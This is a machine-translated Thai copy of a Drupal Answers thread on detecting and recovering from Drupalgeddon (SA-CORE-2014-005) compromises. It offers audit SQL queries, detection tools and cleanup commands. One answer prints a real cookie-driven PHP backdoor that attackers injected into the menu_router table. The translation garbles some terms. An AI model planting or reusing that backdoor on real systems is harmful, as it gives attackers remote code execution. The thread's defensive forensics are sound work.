Drupal SA-CORE-2014-005 - จะทราบได้อย่างไรว่าเซิร์ฟเวอร์ / ไซต์ของฉันถูกบุกรุก


40

ฉันเพิ่งอัปเดตไซต์ทั้งหมดของฉันโดยใช้วิธีการแพทช์ในการหาประโยชน์จาก Drupal SA-CORE-2014-005 ฉันเพิ่งอ่านรายงานว่าเมื่อวานนี้มีคนจากเว็บไซต์ drupal ของ IP ของรัสเซีย

https://www.drupal.org/SA-CORE-2014-005

ความกังวลหลักของฉันคือตอนนี้:

  • ฉันจะรู้ได้อย่างไรว่าเว็บไซต์ของฉันประกอบด้วยหรือไม่
  • ฉันควรค้นหาสิ่งใดในบันทึกการเข้าถึง apache ของฉันเพื่อตรวจสอบว่าไซต์ของฉันเป็นเหยื่อหรือไม่
  • แฮ็กเกอร์เหล่านี้ทำอะไรกับเว็บไซต์ที่ประกอบไปด้วย

7
มีโมดูลสำหรับตอนนี้drupal.org/project/drupalgeddon
mikeytown2

จะเป็นอย่างไรถ้าฉันไม่มีการตั้งค่าชื่อแทนสำหรับเว็บไซต์ 100 drupal สิ่งที่พบบ่อยคือการแฮ็คข้อมูลที่คุณพบเพื่อที่เราจะได้รู้ว่าควรทำอะไร
Patoshi パトシ


1
@duckx ตรวจสอบรหัสในโมดูล drupalgeddon แล้วคุณจะพบแฮ็คทั่วไป เราไม่สามารถแสดงรายการการเปลี่ยนแปลงที่เป็นไปได้ทุกครั้งที่ผู้ใช้ที่เป็นอันตรายสามารถเข้าถึงได้ด้วยการเข้าถึงฐานข้อมูลเต็มรูปแบบด้วยเหตุผลที่ชัดเจน พวกเขาสามารถทำการเปลี่ยนแปลงใด ๆที่ผู้ใช้ Drupal mysql มีสิทธิ์ทำนั่นเป็นประเด็น ดังนั้นวิธีเดียวที่จะบอกได้อย่างแท้จริงคือการเปรียบเทียบฐานข้อมูลปัจจุบันของคุณกับรุ่นที่ดีที่รู้จัก หากคุณกำลังมองหาปุ่มกดที่จะแม่นยำ 100% บอกได้เลยว่าไซต์ของคุณถูกบุกรุกหรือไม่คุณกำลังฝันว่าฉันกลัว :)
ไคลฟ์

Ducky: ถ้าคุณไม่ได้ตั้งชื่อแทนและคุณมี 100 เว็บไซต์มันจะง่ายกว่าถ้าตั้งชื่อแทนให้จัดการด้วยตนเอง? รับรายการไซต์รากและ URL ด้วยตัวคุณเองและคุณสามารถกำหนดให้เป็นชื่อแทนได้จากที่นั่น
Chris Burgess

คำตอบ:


6

ต่อไปนี้เป็นแบบสอบถาม SQL บางรายการที่สามารถเรียกใช้กับฐานข้อมูลไซต์ของคุณเพื่อตรวจสอบผู้ใช้ที่มีสิทธิ์ระดับผู้ดูแลระบบ

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
สวัสดีและยินดีต้อนรับสู่ Drupal Answers คุณสามารถปรับปรุงคำตอบของคุณโดยการจัดทำบทสรุปเล็ก ๆ ของหน้าที่ให้ไว้
Wtower

แนะนำให้ตรวจสอบผู้ใช้ที่สร้างขึ้นหลังจากวันที่ 15 ตุลาคมซึ่งจะใช้createdฟิลด์จากตารางผู้ใช้ ไม่รับประกันว่าบุคคลที่ฉีด SQL จะเคารพค่าของฟิลด์ซึ่งทำให้การตรวจสอบนี้ไม่ค่อยมีประโยชน์ อันที่จริงมันเกิดขึ้นกับฉันแล้วว่าการdrupaldevสร้างชื่อผู้ใช้โดยทั่วไปถูกสร้างขึ้นเมื่อ 44 สัปดาห์ก่อน เท่าที่คำแนะนำที่สองก็ไม่รับประกันว่าผู้ใช้ที่ฉีดจะได้เข้าสู่ระบบแน่นอน
Wtower

29

หากคุณกำลังอ่านบทความนี้และหวังว่าจะตรวจสอบไซต์ Drupal 7 นานกว่าหนึ่งเดือนหลังจากการใช้ประโยชน์พื้นที่เว็บไซต์ของคุณน่าจะถูกแฮ็คแล้ว ทางออกที่ดีที่สุดของคุณคือคืนค่าการสำรองข้อมูลก่อนที่การโจมตีจะเริ่มและทำงานจากที่นั่น

มีเป็นคำถามที่พบบ่อยเกี่ยวกับ SA-CORE-2014-005

ฉันจะรู้ได้อย่างไรว่าเว็บไซต์ของฉันถูกบุกรุก

วิธีหนึ่งในการตรวจสอบอย่างรวดเร็วว่าไซต์ใดถูกบุกรุกหรือไม่คือด้วยคำสั่ง Drupalgeddon drush

ติดตั้งให้~/.drushกับคุณด้วยdrush dl drupalgeddon

จากนั้นใช้drush drupalgeddon-testทดสอบ ชื่อแทน Drush ทำให้สิ่งนี้ง่ายและรวดเร็ว

เครื่องมือนี้สามารถยืนยันไซต์ที่ถูกโจมตีได้ แต่ไม่สามารถรับประกันได้ว่าไซต์ของคุณจะไม่ถูกโจมตี ไม่มี "ค่าสุขภาพที่ดี" ที่นี่ยกเว้นคุณอัพเกรดก่อนการโจมตีจะเริ่ม


โมดูลการตรวจสอบเว็บไซต์มีการตรวจสอบบางส่วนจาก Drupalgeddon และให้ข้อมูลที่เป็นประโยชน์กับคุณเช่นกัน ฉันขอแนะนำอย่างยิ่ง (แก้ไข: ตอนนี้พวกเขาทำงานร่วมกัน - เยี่ยมมาก!)


การตรวจสอบความปลอดภัยไม่ได้ตรวจสอบการโจมตีของ Drupalgeddon แต่ก็คุ้มค่าที่จะมีไว้ในแถบเครื่องมือของคุณเช่นกัน


หากรหัสเว็บไซต์ของคุณเขียนได้กับผู้ใช้ www คุณสามารถตรวจสอบรหัสที่แก้ไขเพิ่มเติมโดยใช้โมดูลที่ถูกแฮ็กได้ โมดูลนี้อาจไม่ทำสิ่งที่คุณคิดตามชื่อของมันเพียงอย่างเดียว :)


แม้ว่าจะไม่มีวิธีที่แน่นอนในการระบุไซต์ที่ถูกบุกรุก แต่เครื่องมือเหล่านี้สามารถช่วยคุณระบุตัวบ่งชี้ที่พบบ่อยที่สุด


ฉันควรค้นหาสิ่งใดในบันทึกการเข้าถึง apache ของฉันเพื่อตรวจสอบว่าไซต์ของฉันเป็นเหยื่อหรือไม่

บันทึกการเข้าถึงของคุณจะมีคำขอ POST จำนวนมากในขณะนี้ หากคุณไม่ได้เข้าสู่ขั้นตอนที่ผิดปกติในการบันทึกข้อมูลโพสต์ทั้งหมดก่อนที่ข้อผิดพลาดคุณไม่น่าจะมีข้อมูลที่จะบอกว่าสิ่งเหล่านี้เป็นอันตรายหรือไม่

แฮ็กเกอร์เหล่านี้ทำอะไรกับเว็บไซต์ที่ถูกบุกรุก

หลายคนรายงานว่าเว็บไซต์ของตนถูกแฮกเกอร์ติดตั้ง ในฐานะผู้โจมตีสิ่งนี้สมเหตุสมผลดี - คุณไม่ต้องการให้ไซต์ที่ถูกแย่งชิงใหม่ถูกวิพากษ์วิจารณ์จากผู้โจมตีรายต่อไป :)

นอกเหนือจากนั้นฉันเดาว่ามีการใช้เว็บไซต์เพื่อเก็บข้อมูลที่มีค่าใด ๆ (อาจจะคว้าเครดิตบางรายอาจยกรายละเอียดธุรกรรมหลังจากใช้ประโยชน์) และทำสิ่งที่น่าเบื่อเช่นส่งสแปมและทำงานเป็นทาสบ็อตเน็ตที่ต่ำต้อย โอ้และขยายอาณาจักรของผู้โจมตีเว็บไซต์ Drupal ที่ถูกแย่งชิงต่อไป (ขออภัยฉันไม่มีไซต์ที่ถูกแฮ็กให้สังเกต)


คุณช่วยอธิบายได้ไหม การโจมตีใด ๆ จะเริ่มต้นด้วยคำขอ POST เสมอหรือไม่ ฉันกำลังตรวจสอบบันทึกของฉันสำหรับโพสต์ใด ๆ พบหนึ่งจาก IP 62.76.191.119 หลังจากที่ฉันแก้ไข
แลนซ์ฮอลแลนด์

ฉันมีเว็บไซต์ที่ตกเป็นเหยื่อของการโจมตีนี้และดูเหมือนว่าผู้โจมตีใช้เพื่อส่งสแปมจำนวนมากจากเซิร์ฟเวอร์
Cyclonecode

24

การตรวจสอบบางอย่างสำหรับการโจมตีทั่วไปคือ (นี่ไม่ใช่รายการที่ครบถ้วน แต่เป็นการโจมตีที่เห็นในป่า):

  • ตรวจสอบบัญชีผู้ใช้ 1 ของคุณเพื่อให้แน่ใจว่าชื่อผู้ใช้ที่อยู่อีเมลหรือรหัสผ่านเป็นสิ่งที่คุณคาดหวังให้เป็น ตรวจสอบบัญชีผู้ใช้อื่น ๆ ที่มีสิทธิ์ระดับสูงหากเป็นไปได้
  • ตรวจสอบบัญชีผู้ใช้ใหม่ที่ดูน่าสงสัย
  • ตรวจสอบการเปลี่ยนแปลงบทบาทในระบบของคุณเช่นบทบาทใหม่หรือบทบาทที่ถูกเปลี่ยนชื่อ
  • ตรวจสอบการเปลี่ยนแปลงการอนุญาต สิ่งสำคัญที่สุดคือการตรวจสอบให้แน่ใจว่าบทบาทผู้ใช้ที่ไม่ระบุชื่อ (หรือบทบาทอื่น ๆ ที่ทุกคนสามารถลงชื่อสมัครใช้เพื่อรับ) ไม่ได้รับการเปลี่ยนแปลงเพื่อให้พวกเขาสามารถเข้าถึงได้มากขึ้น
  • ตรวจสอบบล็อกที่กำหนดเองใหม่ที่อาจมีรหัสที่เป็นอันตราย
  • ตรวจสอบโหนดที่กำหนดเองใหม่ที่อาจมีรหัสที่เป็นอันตราย
  • ตรวจสอบไฟล์ในระบบไฟล์ที่ไม่ควรมี สิ่งนี้ง่ายถ้าคุณใช้การควบคุมเวอร์ชันเพราะคุณสามารถทำสถานะ git หรือ svn st เพื่อดูว่ามีไฟล์ใหม่ ๆ หรือไม่
  • หากพวกเขาอัปโหลดไฟล์ที่เป็นอันตรายคุณสามารถตรวจสอบบันทึกการเข้าถึงของคุณเพื่อหาชื่อไฟล์แปลก ๆ ที่คุณไม่คุ้นเคย
  • ตรวจสอบตารางฐานข้อมูลเราเตอร์เมนูของคุณเพื่อดูรายการที่เป็นอันตราย ตัวอย่างเช่น (โมดูล drupalgeddon / ปลั๊กอิน drush บน drupal.org มีสคริปต์ที่ดีสำหรับการตรวจสอบตารางนี้อย่างละเอียดมากขึ้น):

    เลือก * จาก menu_router WHERE access_callback = 'file_put_contents';

  • คุณยังสามารถเรียกดูตารางเราเตอร์เมนูของคุณสำหรับรายการที่ดูแปลก ๆ

สิ่งที่แฮ็กเกอร์พยายามทำคือ:

  • วางไฟล์สคริปต์ php ไว้ในเว็บไซต์ของคุณเพื่อให้พวกเขาสามารถเรียกใช้โดยการกดปุ่มในเบราว์เซอร์ สคริปต์เหล่านี้สามารถทำสิ่งต่าง ๆ ที่เป็นอันตรายได้ สิ่งนี้สามารถทำได้โดยการเพิ่มรายการเราเตอร์เมนูที่เป็นอันตราย
  • สร้างบัญชีผู้ใช้ของผู้ดูแลระบบเพื่อให้พวกเขาใช้ทำสิ่งที่ไม่ดีในเว็บไซต์ของคุณหรือเข้ายึดไซต์ของคุณ
  • เปลี่ยนที่อยู่อีเมลของผู้ใช้ 1 เพื่อให้พวกเขาสามารถรีเซ็ตรหัสผ่านสำหรับบัญชีนั้นและรับช่วงต่อได้
  • เปลี่ยนการอนุญาตบทบาทผู้ใช้ที่สาธารณชนสามารถเข้าถึงได้
  • เพิ่มบล็อก / โหนด / ฯลฯ ที่อาจมีรหัสที่เป็นอันตราย หากคุณเปิดใช้งานตัวกรอง PHP นี่เป็นปัญหามากขึ้น

น่าเสียดายที่มีหลายสิ่งหลายอย่างที่ผู้โจมตีสามารถทำกับฐานข้อมูลของคุณได้ซึ่งเป็นเรื่องยากที่จะให้รายชื่อทั้งหมดที่เป็นไปได้ พวกเขาสามารถทำสิ่งต่าง ๆ ที่พยายามให้พวกเขาควบคุมเว็บไซต์ของคุณหรือพวกเขาอาจทำลายเว็บไซต์ของคุณได้ แต่วางตารางหรือคอลัมน์ฐานข้อมูลเป็นต้น

พวกเขาสามารถเปลี่ยนแปลงการกำหนดค่าไซต์เพียงเล็กน้อยเช่นเปลี่ยนชื่อเว็บไซต์หรือสิ่งที่ไม่สิ้นสุดของโลก แต่ยังคงมีปัญหาอยู่

โดยพื้นฐานแล้วสิ่งใดก็ตามที่คุณสามารถทำได้ในฐานข้อมูลของคุณโดยการเรียกใช้คำสั่ง SQL ผู้โจมตีสามารถทำได้ในทางทฤษฎี

โมดูลทั้งหมดที่กล่าวถึงในคำตอบของ Chris Burgess นั้นมีประโยชน์มากในการตรวจสอบสิ่งเหล่านี้


1
คุณต้องถูกโจมตีด้วย 62.76.191.119 โดยทั่วไปดูเหมือนว่า IP นี้พยายามวางไฟล์ใน docroot ของคุณผ่านทาง menu_router และสิ่งที่น่ารังเกียจอื่น ๆ ในฐานข้อมูลของคุณ คุณสามารถอ่านความคิดเห็นที่drupal.org/node/2357241
scor

ฉันยังไม่ได้รับผลกระทบใด ๆ จากการตรวจสอบไซต์ของฉัน นี่เป็นเพียงข้อมูลเพื่อช่วยในการปฏิบัติการ
rooby

ฉันจะไปเกี่ยวกับ "ตรวจสอบตารางฐานข้อมูลเราเตอร์เมนูของคุณสำหรับรายการที่เป็นอันตราย:"? ฉันบนเซิร์ฟเวอร์ centos และฉันมีรูต
Patoshi パトシ

คุณสามารถเรียกใช้คำสั่งฐานข้อมูล "SELECT * FROM menu_router" แล้วลากผ่านทั้งหมดเพื่อตรวจสอบแถวที่มองไม่เห็น นอกจากนี้ยังมีคำสั่งเฉพาะเพิ่มเติมที่กล่าวถึงในคำตอบของฉันที่ค้นหาการโจมตีเฉพาะที่ทราบและใช้สำหรับการอัปโหลดไฟล์ไปยังเซิร์ฟเวอร์ของคุณ
rooby

IP 62.76.191.119 นั้นพยายามที่จะใช้ประโยชน์จากช่องโหว่ของเว็บไซต์ของฉันภายในหนึ่งวันหลังจากที่ปล่อยการปรับปรุงความปลอดภัย ฉันถูกแบนจากทุกไซต์ ฉันโชคดีมากที่ฉันอัพเกรดเว็บไซต์ตรงเวลา มันแปลกเพราะมันกดปุ่มเว็บไซต์ของฉันตามลำดับตัวอักษร
cayerdis

10

ฉันคิดว่าฉันจะไปกับคำแนะนำ drupal.org " คุณควรดำเนินการภายใต้ข้อสันนิษฐานว่าทุกเว็บไซต์ของ Drupal 7 นั้นถูกบุกรุกเว้นแต่จะมีการอัพเดทหรือแก้ไขก่อนวันที่ 15 ตุลาคมเวลา 23.00 น. UTC ซึ่งเป็นเวลา 7 ชั่วโมงหลังจากการประกาศ " ดังที่Bevanกล่าวไว้ในความคิดเห็นนี้"การอัปเดตหรือการอัปเดต Drupal ไม่ได้แก้ไขแบ็คดอร์ที่ผู้โจมตีติดตั้งก่อนที่จะอัปเดตหรืออัปเดต Drupal"

Bevanยังทำต่อไปนี้แผนภูมิขั้นตอนการทำงานที่จะช่วยคุณวิเคราะห์ว่าคุณอาจได้รับเชื้อและวิธีการกู้คืนและป้องกัน อย่างไรก็ตามเขาขอให้ทุกคนไปที่บทความต้นฉบับของเขาเพื่อให้แน่ใจว่าคุณมีเวิร์กโฟลว์เวอร์ชันล่าสุด นอกจากนี้ Acquia ยังจัดทำบทความที่น่าสนใจเกี่ยวกับการโจมตีและรูปแบบที่พวกเขาเคยมีประสบการณ์ใน Acquia Cloud

 แผนผังลำดับงานเพื่อทำความเข้าใจว่าคุณมีความเสี่ยงหรือไม่ถ้าคุณติดเชื้อและวิธีการกู้คืน


4

อ้างอิงจาก: https://www.drupal.org/node/2357241#comment-9258955

นี่คือตัวอย่างของไฟล์ที่ถูกแทรกลงในคอลัมน์ menu_router table access_callback คอลัมน์:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

อย่างที่คุณเห็นมันกำลังพยายามสร้างไฟล์โมดูล / อิมเมจ / vzoh.php แต่เนื่องจากฉันมีสิทธิ์อ่านภายในไดเรกทอรีเหล่านั้น php ล้มเหลวด้วย

รายงานของผู้คนที่ค้นหาไฟล์ที่คล้ายกันซึ่งสร้างขึ้นทำการค้นหาในไดเรกทอรี drupal ของคุณ: https://www.drupal.org/node/2357241#comment-9260017


สิ่งที่ฉันทำคือทำตามคำสั่งต่อไปนี้:

แอ๊ก --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

อ้างจาก: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

แสดงไฟล์ที่มีการเปลี่ยนแปลงบนเซิร์ฟเวอร์สด: สถานะ git

ค้นหาความพยายามในการเรียกใช้รหัสผ่านทาง menu_router: select * จาก menu_router โดยที่ access_callback = 'file_put_contents'

แสดงไฟล์ที่อยู่บนเซิร์ฟเวอร์ที่ใช้งานจริงและไม่อยู่ในการควบคุมเวอร์ชัน: diff -r docroot repo | grep docroot | grep 'เฉพาะใน docroot'

การค้นหาไฟล์ PHP ในไดเรกทอรี files: find -path "* php"

การตรวจสอบระยะเวลาระหว่างที่ผู้ใช้ลงชื่อเข้าใช้ไซต์ของคุณและการเข้าชมหน้าเว็บล่าสุดของพวกเขา: select (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid จากการเข้าร่วมภายในเซสชันของผู้ใช้บน s.uid = u.uid;


3

รายการคำสั่งที่ดีมากที่จะบอกว่าคุณได้รับการประกอบ

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
แทนที่จะให้คำตอบแยกต่างหากบางทีคุณควรแก้ไขคำตอบแรกและเพิ่มข้อมูลเพิ่มเติม?
Cyclonecode

0

คุณสามารถตรวจสอบว่าเว็บไซต์ของคุณถูกแฮ็คด้วยเครื่องมือออนไลน์นี้หรือไม่:

ตรวจสอบ Drupal: EngineHack

เห็นได้ชัดว่ามันมีข้อ จำกัด แต่เป็นจุดเริ่มต้นที่ดี

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.